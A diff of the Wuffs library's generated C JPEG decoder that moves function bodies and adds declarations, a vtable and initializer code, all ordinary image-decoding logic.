v_stride16 = 0; +- uint64_t v_offset = 0; +- +- v_h = 1u; +- v_v = 1u; +- v_b = 0u; +- while (v_b < self->private_impl.f_mcu_num_blocks) { +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[v_b]]; +- if (self->private_impl.f_scan_num_components > 1u) { +- v_h = ((uint64_t)(self->private_impl.f_components_h[v_csel])); +- v_v = ((uint64_t)(self->private_impl.f_components_v[v_csel])); +- } +- v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[v_csel] * 16u))); +- v_offset = (self->private_impl.f_components_workbuf_offsets[(v_csel | 4u)] + (((v_h * ((uint64_t)(a_mx))) + ((uint64_t)(self->private_impl.f_scan_comps_bx_offset[v_b]))) * 128u) + (((v_v * ((uint64_t)(a_my))) + ((uint64_t)(self->private_impl.f_scan_comps_by_offset[v_b]))) * v_stride16)); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_base__bulk_save_host_endian(&self->private_data.f_mcu_blocks[v_b], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); +- } +- v_b += 1u; +- } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.skip_past_the_next_restart_marker ++ wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_jpeg__decoder__skip_past_the_next_restart_marker( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_skip_past_the_next_restart_marker[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; +- } else if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) < 255u) { +- iop_a_src += 1u; +- continue; +- } +- v_c = ((uint8_t)((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u))); +- if (v_c < 192u) { +- iop_a_src += 2u; +- continue; +- } else if ((v_c < 208u) || (215u < v_c)) { +- break; +- } +- v_c &= 7u; +- if ((self->private_impl.f_next_restart_marker == ((v_c + 1u) & 7u)) || (self->private_impl.f_next_restart_marker == ((v_c + 2u) & 7u))) { +- break; +- } else if ((self->private_impl.f_next_restart_marker == ((v_c + 7u) & 7u)) || (self->private_impl.f_next_restart_marker == ((v_c + 6u) & 7u))) { +- iop_a_src += 2u; +- continue; +- } else { +- iop_a_src += 2u; +- break; +- } +- } +- self->private_impl.f_next_restart_marker = (((uint8_t)(self->private_impl.f_next_restart_marker + 1u)) & 7u); +- +- ok: +- self->private_impl.p_skip_past_the_next_restart_marker[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_skip_past_the_next_restart_marker[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func jpeg.decoder.apply_progressive_idct ++ wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct + wuffs_jpeg__decoder__apply_progressive_idct( + wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf) { +- uint32_t v_csel = 0; +- bool v_block_smoothing_applicable = false; +- uint32_t v_scan_width_in_mcus = 0; +- uint32_t v_scan_height_in_mcus = 0; +- uint32_t v_mcu_blocks_mx_mul_0 = 0; +- uint32_t v_mcu_blocks_my_mul_0 = 0; +- uint32_t v_my = 0; +- uint32_t v_mx = 0; +- uint64_t v_stride = 0; +- uint64_t v_offset = 0; +- uint8_t v_stashed_mcu_blocks_0[128] = {0}; +- +- wuffs_base__bulk_save_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); +- v_block_smoothing_applicable = true; +- v_csel = 0u; +- while (v_csel < self->private_impl.f_num_components) { +- if ((self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][0u] >= 16u) || wuffs_jpeg__decoder__top_left_quants_has_zero(self, ((uint32_t)(self->private_impl.f_components_tq[v_csel])))) { +- v_block_smoothing_applicable = false; +- } +- v_csel += 1u; +- } +- v_csel = 0u; +- while (v_csel < self->private_impl.f_num_components) { +- v_scan_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, self->private_impl.f_components_h[v_csel], self->private_impl.f_max_incl_components_h); +- v_scan_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, self->private_impl.f_components_v[v_csel], self->private_impl.f_max_incl_components_v); +- v_mcu_blocks_mx_mul_0 = 8u; +- v_mcu_blocks_my_mul_0 = (8u * self->private_impl.f_components_workbuf_widths[v_csel]); +- if (v_block_smoothing_applicable && (0u != (self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][1u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][2u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][3u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][4u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][5u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][6u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][8u] | +- self->private_impl.f_block_smoothing_lowest_scan_al[v_csel][9u]))) { +- self->private_impl.choosy_load_mcu_blocks_for_single_component = ( +- &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth); +- self->private_impl.f_block_smoothing_mx_max_incl = wuffs_base__u32__sat_sub(v_scan_width_in_mcus, 1u); +- self->private_impl.f_block_smoothing_my_max_incl = wuffs_base__u32__sat_sub(v_scan_height_in_mcus, 1u); +- } else { +- self->private_impl.choosy_load_mcu_blocks_for_single_component = ( +- &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default); +- } +- v_my = 0u; +- while (v_my < v_scan_height_in_mcus) { +- v_mx = 0u; +- while (v_mx < v_scan_width_in_mcus) { +- wuffs_jpeg__decoder__load_mcu_blocks_for_single_component(self, +- v_mx, +- v_my, +- a_workbuf, +- v_csel); +- v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[v_csel])); +- v_offset = (self->private_impl.f_components_workbuf_offsets[v_csel] + (((uint64_t)(v_mcu_blocks_mx_mul_0)) * ((uint64_t)(v_mx))) + (((uint64_t)(v_mcu_blocks_my_mul_0)) * ((uint64_t)(v_my)))); +- if (v_offset <= ((uint64_t)(a_workbuf.len))) { +- wuffs_jpeg__decoder__decode_idct(self, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset), v_stride, ((uint32_t)(self->private_impl.f_components_tq[v_csel]))); +- } +- v_mx += 1u; +- } +- v_my += 1u; +- } +- v_csel += 1u; +- } +- wuffs_base__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__make_slice_u8(v_stashed_mcu_blocks_0, 128)); +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.swizzle_gray ++ wuffs_base__slice_u8 a_workbuf); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_jpeg__decoder__swizzle_gray( + wuffs_jpeg__decoder* self, + wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_length = 0; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint32_t v_y = 0; +- uint64_t v_stride = 0; +- +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_length = ((uint64_t)((v_dst_bytes_per_pixel * self->private_impl.f_width))); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- v_y = 0u; +- while (v_y < self->private_impl.f_height) { +- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_y); +- if (v_dst_length < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_length); +- } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), a_workbuf); +- v_stride = ((uint64_t)(self->private_impl.f_components_workbuf_widths[0u])); +- if (v_stride <= ((uint64_t)(a_workbuf.len))) { +- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, v_stride); +- } else { +- a_workbuf = wuffs_base__utility__empty_slice_u8(); +- } +- v_y += 1u; +- } +- return wuffs_base__make_status(NULL); +-} +- +-// -------- func jpeg.decoder.swizzle_colorful ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_x0, ++ uint32_t a_x1, ++ uint32_t a_y0, ++ uint32_t a_y1, ++ uint64_t a_stride); + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status + wuffs_jpeg__decoder__swizzle_colorful( + wuffs_jpeg__decoder* self, + wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- wuffs_base__slice_u8 v_src0 = {0}; +- wuffs_base__slice_u8 v_src1 = {0}; +- wuffs_base__slice_u8 v_src2 = {0}; +- wuffs_base__slice_u8 v_src3 = {0}; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- if ((self->private_impl.f_components_workbuf_offsets[0u] <= self->private_impl.f_components_workbuf_offsets[1u]) && (self->private_impl.f_components_workbuf_offsets[1u] <= ((uint64_t)(a_workbuf.len)))) { +- v_src0 = wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_components_workbuf_offsets[0u], +- self->private_impl.f_components_workbuf_offsets[1u]); +- } +- if ((self->private_impl.f_components_workbuf_offsets[1u] <= self->private_impl.f_components_workbuf_offsets[2u]) && (self->private_impl.f_components_workbuf_offsets[2u] <= ((uint64_t)(a_workbuf.len)))) { +- v_src1 = wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_components_workbuf_offsets[1u], +- self->private_impl.f_components_workbuf_offsets[2u]); +- } +- if ((self->private_impl.f_components_workbuf_offsets[2u] <= self->private_impl.f_components_workbuf_offsets[3u]) && (self->private_impl.f_components_workbuf_offsets[3u] <= ((uint64_t)(a_workbuf.len)))) { +- v_src2 = wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_components_workbuf_offsets[2u], +- self->private_impl.f_components_workbuf_offsets[3u]); +- } +- if ((self->private_impl.f_components_workbuf_offsets[3u] <= self->private_impl.f_components_workbuf_offsets[4u]) && (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len)))) { +- v_src3 = wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_components_workbuf_offsets[3u], +- self->private_impl.f_components_workbuf_offsets[4u]); +- } +- v_status = wuffs_base__pixel_swizzler__swizzle_ycck(&self->private_impl.f_swizzler, +- a_dst, +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- self->private_impl.f_width, +- self->private_impl.f_height, +- v_src0, +- v_src1, +- v_src2, +- v_src3, +- self->private_impl.f_components_workbuf_widths[0u], +- self->private_impl.f_components_workbuf_widths[1u], +- self->private_impl.f_components_workbuf_widths[2u], +- self->private_impl.f_components_workbuf_widths[3u], +- self->private_impl.f_components_workbuf_heights[0u], +- self->private_impl.f_components_workbuf_heights[1u], +- self->private_impl.f_components_workbuf_heights[2u], +- self->private_impl.f_components_workbuf_heights[3u], +- self->private_impl.f_components_workbuf_widths[0u], +- self->private_impl.f_components_workbuf_widths[1u], +- self->private_impl.f_components_workbuf_widths[2u], +- self->private_impl.f_components_workbuf_widths[3u], +- self->private_impl.f_components_h[0u], +- self->private_impl.f_components_h[1u], +- self->private_impl.f_components_h[2u], +- self->private_impl.f_components_h[3u], +- self->private_impl.f_components_v[0u], +- self->private_impl.f_components_v[1u], +- self->private_impl.f_components_v[2u], +- self->private_impl.f_components_v[3u], +- self->private_impl.f_is_rgb_or_cmyk, +- true, +- wuffs_base__make_slice_u8(self->private_data.f_swizzle_ycck_scratch_buffer_2k, 2048)); +- return wuffs_base__status__ensure_not_a_suspension(v_status); +-} +- +-// -------- func jpeg.decoder.frame_dirty_rect ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_x0, ++ uint32_t a_x1, ++ uint32_t a_y0, ++ uint32_t a_y1); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_jpeg__decoder__frame_dirty_rect( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} +- +-// -------- func jpeg.decoder.num_animation_loops ++static bool ++wuffs_jpeg__decoder__top_left_quants_has_zero( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_q); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_jpeg__decoder__num_animation_loops( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func jpeg.decoder.num_decoded_frame_configs ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_csel); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__num_decoded_frame_configs( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; +- } +- return 0u; +-} +- +-// -------- func jpeg.decoder.num_decoded_frames ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__num_decoded_frames( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- if (self->private_impl.f_call_sequence > 64u) { +- return 1u; +- } +- return 0u; +-} +- +-// -------- func jpeg.decoder.restart_frame ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu__choosy_default( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__restart_frame( ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_ac_high_bits( + wuffs_jpeg__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- uint32_t v_i = 0; +- uint32_t v_j = 0; ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + +- if (self->private_impl.f_call_sequence < 32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if (a_index != 0u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- self->private_impl.f_call_sequence = 40u; +- self->private_impl.f_bitstream_is_closed = false; +- self->private_impl.f_frame_config_io_position = a_io_position; +- self->private_impl.f_scan_count = 0u; +- self->private_impl.f_restart_interval = self->private_impl.f_saved_restart_interval; +- v_i = 0u; +- while (v_i < 4u) { +- self->private_impl.f_seen_dqt[v_i] = self->private_impl.f_saved_seen_dqt[v_i]; +- v_j = 0u; +- while (v_j < 64u) { +- self->private_impl.f_quant_tables[v_i][v_j] = self->private_impl.f_saved_quant_tables[v_i][v_j]; +- v_j += 1u; +- } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < 4u) { +- v_j = 0u; +- while (v_j < 10u) { +- self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; +- v_j += 1u; +- } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < 8u) { +- self->private_impl.f_seen_dht[v_i] = false; +- v_i += 1u; +- } +- return wuffs_base__make_status(NULL); +-} ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + +-// -------- func jpeg.decoder.set_report_metadata ++WUFFS_BASE__GENERATED_C_CODE ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_jpeg__decoder__set_report_metadata( ++static uint32_t ++wuffs_jpeg__decoder__decode_mcu_progressive_dc_low_bit( + wuffs_jpeg__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_base__make_empty_struct(); +-} ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_mx, ++ uint32_t a_my); + +-// -------- func jpeg.decoder.tell_me_more ++// ---------------- VTables + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_jpeg__decoder__tell_me_more( ++const wuffs_base__image_decoder__func_ptrs ++wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_jpeg__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_jpeg__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_jpeg__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_jpeg__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_jpeg__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_jpeg__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_jpeg__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_jpeg__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_jpeg__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_jpeg__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_jpeg__decoder__initialize( + wuffs_jpeg__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); + } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } + } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); + +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; ++ self->private_impl.choosy_decode_idct = &wuffs_jpeg__decoder__decode_idct__choosy_default; ++ self->private_impl.choosy_load_mcu_blocks_for_single_component = &wuffs_jpeg__decoder__load_mcu_blocks_for_single_component__choosy_default; ++ self->private_impl.choosy_decode_mcu = &wuffs_jpeg__decoder__decode_mcu__choosy_default; + +- goto ok; +- ok: +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_jpeg__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func jpeg.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__history_retain_length( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return 0; ++wuffs_jpeg__decoder* ++wuffs_jpeg__decoder__alloc(void) { ++ wuffs_jpeg__decoder* x = ++ (wuffs_jpeg__decoder*)(calloc(1, sizeof(wuffs_jpeg__decoder))); ++ if (!x) { ++ return NULL; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (wuffs_jpeg__decoder__initialize( ++ x, sizeof(wuffs_jpeg__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; + } ++ return x; ++} + +- return 0u; ++size_t ++sizeof__wuffs_jpeg__decoder(void) { ++ return sizeof(wuffs_jpeg__decoder); + } + +-// -------- func jpeg.decoder.workbuf_len ++// ---------------- Function Implementations ++ ++// -------- func jpeg.decoder.decode_idct + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_jpeg__decoder__workbuf_len( +- const wuffs_jpeg__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- +- return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_components_workbuf_offsets[8u], self->private_impl.f_components_workbuf_offsets[8u]); +-} +- +-// -------- func jpeg.decoder.top_left_quants_has_zero +- +-WUFFS_BASE__GENERATED_C_CODE +-static bool +-wuffs_jpeg__decoder__top_left_quants_has_zero( +- const wuffs_jpeg__decoder* self, ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__decode_idct( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, + uint32_t a_q) { +- return ((self->private_impl.f_quant_tables[a_q][0u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][1u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][2u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][3u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][8u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][9u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][10u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][16u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][17u] == 0u) || +- (self->private_impl.f_quant_tables[a_q][24u] == 0u)); ++ return (*self->private_impl.choosy_decode_idct)(self, a_dst_buffer, a_dst_stride, a_q); + } + +-// -------- func jpeg.decoder.load_mcu_blocks_for_single_component_smooth +- + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( ++wuffs_jpeg__decoder__decode_idct__choosy_default( + wuffs_jpeg__decoder* self, +- uint32_t a_mx, +- uint32_t a_my, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_csel) { +- uint64_t v_stride16 = 0; +- uint64_t v_offset = 0; +- uint32_t v_dx = 0; +- uint32_t v_dy = 0; +- uint32_t v_mx = 0; +- uint32_t v_my = 0; +- uint8_t v_q = 0; +- uint32_t v_q_00 = 0; +- uint32_t v_q_xy = 0; +- uint8_t v_al = 0; +- uint32_t v_scratch = 0; +- uint32_t v_limit = 0; ++ wuffs_base__slice_u8 a_dst_buffer, ++ uint64_t a_dst_stride, ++ uint32_t a_q) { ++ uint32_t v_bq0 = 0; ++ uint32_t v_bq2 = 0; ++ uint32_t v_bq4 = 0; ++ uint32_t v_bq6 = 0; ++ uint32_t v_ca = 0; ++ uint32_t v_cb2 = 0; ++ uint32_t v_cb6 = 0; ++ uint32_t v_ccp = 0; ++ uint32_t v_ccm = 0; ++ uint32_t v_cd0 = 0; ++ uint32_t v_cd1 = 0; ++ uint32_t v_cd2 = 0; ++ uint32_t v_cd3 = 0; ++ uint32_t v_bq1 = 0; ++ uint32_t v_bq3 = 0; ++ uint32_t v_bq5 = 0; ++ uint32_t v_bq7 = 0; 